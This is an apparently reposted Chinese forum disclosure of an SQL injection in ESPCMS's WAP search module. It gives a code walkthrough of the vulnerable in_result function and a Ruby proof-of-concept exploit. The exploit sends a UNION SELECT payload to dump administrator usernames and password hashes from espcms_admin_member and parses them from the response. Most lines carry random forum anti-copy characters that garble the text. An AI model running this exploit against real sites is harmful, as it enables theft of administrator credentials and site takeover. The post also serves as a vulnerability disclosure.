找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2175|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节6 O. K: q/ b- g, ^+ Y
0×2 PoC4 z0 Z8 e* X; S: X$ X( k/ g6 ^6 S% x6 D
9 e% `# \. t. N9 I1 X3 z  M. J
! |+ i( _2 ~& Z5 n& E

* b! e) |3 T- H$ i: W& }0×0 漏洞概述
3 F# w! i0 u  e  }1 k) I% X* |  e- K: W( K
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
4 F: [, O, c7 k5 _其在处理传入的参数时考虑不严谨导致SQL注入发生
% h& H; Z4 E- w/ i0 ]/ V: D/ v8 l% Z/ f$ ^3 N/ c' Y8 w6 \

$ c. l9 B2 M' z2 p& P: y0×1 漏洞细节  Q! U3 D# D' o( l2 {! j4 y5 }

: F4 w$ K1 p0 k) S. R, b变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
) C: V( N+ P; H5 {! n' ~7 x正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。9 c# w" c& P* v
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
1 C3 Y, x/ b9 p3 V; j8 ^. D2 C
3 N0 [$ {  _0 B7 }. V7 s* U$ ~在/interface/3gwap_search.php文件的in_result函数中:
  ^' ~# c0 J& G; G8 }- y7 Y5 C4 U8 @6 z

8 W1 A& {0 c/ K
. h  }% y: F- [, T+ X0 H$ C2 l2 i       function in_result() {
$ u  y% p6 _3 D& Z" g& n            ... ... ... ... ... ... ... ... ...
* o$ ^+ e9 t* R" x            $urlcode = $_SERVER[ 'QUERY_STRING '];
/ ^) r' J' ]* \4 y3 I7 J3 a            parse_str(html_entity_decode($urlcode), $output);, c8 t7 T5 K' L, o1 r* r$ a

) X' a8 _/ l$ D            ... ... ... ... ... ... ... ... ...! t. o5 p6 v4 o' Y
            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
8 O# l1 J6 e# w2 H. o; Y
. S; D) |6 a8 q% T) _9 a  F                  $db_table = db_prefix . 'model_att';
: t# s4 n1 O, c  k3 ~% q: r! c+ p9 W9 h7 T* |
                   foreach ($output['attr' ] as $key => $value) {
; N' O6 ?- B9 \& O                         if ($value) {  @* u5 e4 g  ~' W' M. P
6 }, H6 d* p+ {. e  A  k7 `  F
                              $key = addslashes($key);9 C- L1 V% c9 d3 `8 k0 {
                              $key = $this-> fun->inputcodetrim($key);
) O  I5 P. `7 _; R9 |2 q                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";0 W# t5 ]) ^% t1 @$ W
                              $countnum = $this->db_numrows($db_table, $db_att_where);
6 ^4 g0 x, o( `8 R9 `                               if ($countnum > 0) {
  @+ r8 [& M$ S) ^( c                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
# W4 G% y7 A( o# r" L# s0 t                              }
7 e1 c4 `4 o1 `% M                        }* F6 ]+ ]8 Z4 b5 ?, ~* l
                  }
7 T3 F3 G6 f% x3 D: G4 I            }
& \) G3 [+ U) w$ t7 }1 b            if (!empty ($keyword) && empty($keyname)) {
: @- }2 D% L) o2 K9 g5 P  Z                  $keyname = 'title';
, [9 J  w; F% j                  $db_where.= " AND a.title like '%$keyword%'" ;
# ]8 B( o' j$ ]            } elseif (!empty ($keyword) && !empty($keyname)) {
8 }+ }. D; d. Y' ?7 f: \                  $db_where.= " AND $keyname like '% $keyword%'";* u% b3 \7 S' N; b& {
            }
5 x' @+ ^" l0 {- h            $pagemax = 15;
  o8 L7 A- C( j( z
2 u$ i$ {+ `, [& S            $pagesylte = 1;
4 b2 q4 t) P9 D) G8 E- H. E2 q; C3 Y9 {
             if ($countnum > 0) {; b( O  a# N* q; A# X

8 o0 K! m- J0 q8 n                  $numpage = ceil($countnum / $pagemax);
! k6 \. x4 n9 [! p$ Q2 ?            } else {3 T1 e8 u* K1 T( g3 K
                  $numpage = 1;5 p+ X& L/ h' l
            }
- k1 i- [& k) T: c+ _            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
( P7 h- {5 t( p            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);; n- d% N2 B+ [2 i) n
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);) d) b! H8 e2 Y- @
            ... ... ... ... ... ... ... ... ...
; M# a, n( S7 V4 t5 H      }+ M" j- U8 e, ], ]5 w. a+ `/ r% p
1 Y! J0 q6 \4 z/ k

$ p  j7 q4 d8 D& @8 ], }0×2 PoC
/ b; I& c0 H+ p1 W, t/ l  L9 O6 \% ~
# }5 J& b3 _8 m# N/ ~
. @1 E7 h; R7 U2 l" @/ W) U6 k! q2 ^: L" A: y3 E
require "net/http"
( r  x/ X* [9 q6 W3 u4 }. ?; Q6 r' R# n! `; p! h7 x! Y0 u
def request(method, url)
0 G0 D2 d: R1 {0 b$ w$ C    if method.eql?("get")
3 D2 F' g- c2 u# r' ?1 L( Y        uri = URI.parse(url); F' |# K" {. a3 {4 ?  o/ z
        http = Net::HTTP.new(uri.host, uri.port)
  l4 I! ~: Z$ N        response = http.request(Net::HTTP::Get.new(uri.request_uri)), D  o3 `: C) A; U! G& E
        return response
8 w( b# K4 y. d& x' Z8 V: g    end
! S" b; u: S  ~* \* T. a9 vend
3 v9 _. M$ ^: E% ^9 @
2 q" o, F% S. Adoc =<<HERE
- ^# T0 u  ?' D/ ?  Z& \; B-------------------------------------------------------
/ a# \3 O; ?' }6 r/ |( }, jEspcms Injection Exploit
& r8 a4 w' R) iAuthor:ztz0 N6 p: f9 d" G/ @6 C* {
Blog:http://ztz.fuzzexp.org/
  X! S0 `7 {# \& Y4 ^-------------------------------------------------------
! y$ [0 P+ `0 \- E* n+ G
8 v5 U4 G) [4 g; B9 h- B4 HHERE* o4 g* Z3 f6 U9 v; e. O. N

" [6 Y' T6 h% L# l- v. l& [usage =<<HERE
2 E3 {. V  @* K# Z  C0 Y3 uUsage:         ruby #{$0} host port path0 T) N( G, p  J
example:     ruby #{$0} www.target.com 80 /6 m* d! L) U. Q: w9 \
HERE6 t( b, I* P0 V7 Z# [  \

8 X! }' V5 G) O9 F& A/ `puts doc" y/ ~8 I2 d% |  U8 n8 `8 R
if ARGV.length < 37 u0 w" T6 e6 j" p; E* I1 \# D2 K
    puts usage$ c& a# j7 J; t3 j3 Q2 D8 n) F2 C
else- q2 C2 q7 q7 i* g3 u2 a" }/ w
    $host = ARGV[0]  B# z! Z7 u. @8 V3 M
    $port = ARGV[1]5 k' o3 _% r: u/ C+ C) Z9 a3 X. k
    $path = ARGV[2]4 L2 g+ z; k) M+ D- }* p# K

5 q! [, Q9 f* `  C' T& l# D    puts "
  • send request..."
    7 {4 a8 Z& C/ h+ V    url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&. Q8 s. p5 z; X* E4 o6 K2 }/ l
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13* F4 G; O/ N" e/ ?: [7 J. Z
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27; p' c' i( n: X- s, R
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"0 o' r7 k: g4 ^8 f" X0 H
        response = request("get", url)
    7 R" T. V1 F5 R    result = response.body.scan(/\w+&\w{32}/)0 B2 e: r5 ?' n. Z6 [. \6 k: F8 ?3 G
        puts result
    6 h! a- }8 a/ N) l. w" @" e4 j; Wend9 k0 @, D) Z; Z  ]! m/ U
    ' w2 d- ^9 \  c! K2 |& Q- D9 _3 J
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表